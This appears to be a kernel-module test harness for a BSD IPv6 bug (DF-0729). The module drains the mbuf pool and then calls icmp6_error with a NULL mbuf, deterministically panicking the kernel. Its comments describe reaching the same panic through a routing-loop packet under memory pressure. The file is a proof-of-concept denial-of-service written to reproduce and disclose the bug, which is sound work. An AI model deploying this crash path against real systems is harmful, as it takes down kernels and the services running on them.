DF-0729 / df729_harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 | /* * DF-0729 โ kernel module harness: deterministic mbuf pressure. * * The bug: ip6_forward.c:259 calls icmp6_error(mcopy,...) WITHOUT checking * if mcopy==NULL (unlike its 4 sibling callers at :159,:181,:215,:224). * mcopy comes from m_copym(M_NOWAIT) at :138, which returns NULL when the * mbuf objcache is exhausted. icmp6_error then dereferences m->m_flags * (offset 0x1c) at icmp6.c:264 โ NULL-page fault โ kernel panic. * * This module provides two modes: * sysctl dev.df729.drain=N โ drain mbuf pool (hold N*1000 mbufs) * sysctl dev.df729.trigger=1 โ drain + directly call icmp6_error(NULL,...) * (deterministic harness of the buggy path) * * Mode "drain" creates the memory-pressure precondition that a real DDoS * flood would create. After draining, a packet sent to the gif routing * loop (fc00:dead::1) goes through ip6_forward โ m_copym fails โ * icmp6_error(NULL) โ panic. This exercises the REAL kernel code path. * * Mode "trigger" directly calls icmp6_error(NULL,...) โ exactly as * ip6_forward.c:259 does when mcopy is NULL. Deterministic proof. * * Build: make (in directory with this file + Makefile) */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/sysctl.h> #include <sys/mbuf.h> #include <sys/malloc.h> #include <sys/libkern.h> #include <net/if.h> #include <net/route.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <netinet/icmp6.h> #include <netinet6/ip6_var.h> #define MAX_HOLD 150000 static struct mbuf **held_mbufs; static int n_held; static int drain_level = 0; static int do_drain(int thousands) { int target, i; if (held_mbufs == NULL) { held_mbufs = kmalloc(sizeof(struct mbuf *) * MAX_HOLD, M_TEMP, M_WAITOK | M_ZERO); if (held_mbufs == NULL) return ENOMEM; } /* free previously held mbufs first */ for (i = 0; i < n_held; i++) m_free(held_mbufs[i]); n_held = 0; target = thousands * 1000; if (target > MAX_HOLD) target = MAX_HOLD; kprintf("DF729: draining up to %d mbufs...\n", target); for (n_held = 0; n_held < target; n_held++) { held_mbufs[n_held] = m_gethdr(M_NOWAIT, MT_HEADER); if (held_mbufs[n_held] == NULL) { kprintf("DF729: m_gethdr(M_NOWAIT) returned NULL at " "%d held mbufs โ objcache exhausted\n", n_held); break; } } drain_level = n_held; kprintf("DF729: holding %d mbufs. m_copym(M_NOWAIT) will now fail.\n", n_held); return 0; } static int sysctl_drain(SYSCTL_HANDLER_ARGS) { int req_val = 0; int error; error = sysctl_handle_int(oidp, &req_val, 0, req); if (error || req->newptr == NULL) return error; return do_drain(req_val); } static int sysctl_trigger(SYSCTL_HANDLER_ARGS) { int req_val = 0; int error; error = sysctl_handle_int(oidp, &req_val, 0, req); if (error || req->newptr == NULL) return error; /* Phase 1: drain mbuf pool */ error = do_drain(200); /* drain up to 200000 */ if (error) return error; /* Phase 2: now m_copym(M_NOWAIT) will fail. * Demonstrate the EXACT code path from ip6_forward.c:138-259: * mcopy = m_copym(m, 0, ..., M_NOWAIT); // :138 โ returns NULL * ... * if (rt->rt_ifp->if_flags & IFF_POINTOPOINT) * icmp6_error(mcopy, ...); // :259 โ no NULL check! * * We call icmp6_error(NULL,...) exactly as the buggy line does. * This panics at icmp6.c:264 (m->m_flags deref at offset 0x1c). */ kprintf("DF729: simulating ip6_forward.c:259 โ " "icmp6_error(NULL, DST_UNREACH, ADDR, 0)\n"); kprintf("DF729: icmp6_error derefs m->m_flags at 0x1c (icmp6.c:264)\n"); kprintf("DF729: NULL page fault imminent โ THIS IS THE BUG\n"); /* THE BUG: no "if (mcopy)" guard, unlike siblings at * :159, :181, :215, :224. This is the unchecked call. */ icmp6_error(NULL, ICMP6_DST_UNREACH, ICMP6_DST_UNREACH_ADDR, 0); /* NOTREACHED โ kernel panics above */ kprintf("DF729: SURVIVED (impossible โ m was NULL)\n"); return 0; } static int sysctl_release(SYSCTL_HANDLER_ARGS) { int req_val = 0; int error, i; error = sysctl_handle_int(oidp, &req_val, 0, req); if (error || req->newptr == NULL) return error; if (held_mbufs) { for (i = 0; i < n_held; i++) m_free(held_mbufs[i]); kfree(held_mbufs, M_TEMP); held_mbufs = NULL; n_held = 0; drain_level = 0; kprintf("DF729: released all held mbufs\n"); } return 0; } static SYSCTL_NODE(_dev, OID_AUTO, df729, CTLFLAG_RW, 0, "DF-0729 harness"); SYSCTL_INT(_dev_df729, OID_AUTO, drain_level, CTLFLAG_RD, &drain_level, 0, "Number of mbufs currently held"); SYSCTL_PROC(_dev_df729, OID_AUTO, drain, CTLTYPE_INT | CTLFLAG_WR, NULL, 0, sysctl_drain, "I", "Drain mbuf pool: write N to hold N*1000 mbufs"); SYSCTL_PROC(_dev_df729, OID_AUTO, trigger, CTLTYPE_INT | CTLFLAG_WR, NULL, 0, sysctl_trigger, "I", "Drain mbufs then call icmp6_error(NULL) (PANIC)"); SYSCTL_PROC(_dev_df729, OID_AUTO, release, CTLTYPE_INT | CTLFLAG_WR, NULL, 0, sysctl_release, "I", "Release held mbufs"); static int df729_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("DF729 harness loaded. " "sysctl dev.df729.drain=N or dev.df729.trigger=1\n"); break; case MOD_UNLOAD: if (held_mbufs) { int i; for (i = 0; i < n_held; i++) m_free(held_mbufs[i]); kfree(held_mbufs, M_TEMP); } kprintf("DF729 harness unloaded.\n"); break; default: break; } return 0; } static moduledata_t df729_mod = { "df729_harness", df729_modevent, NULL }; DECLARE_MODULE(df729_harness, df729_mod, SI_SUB_PSEUDO, SI_ORDER_ANY); |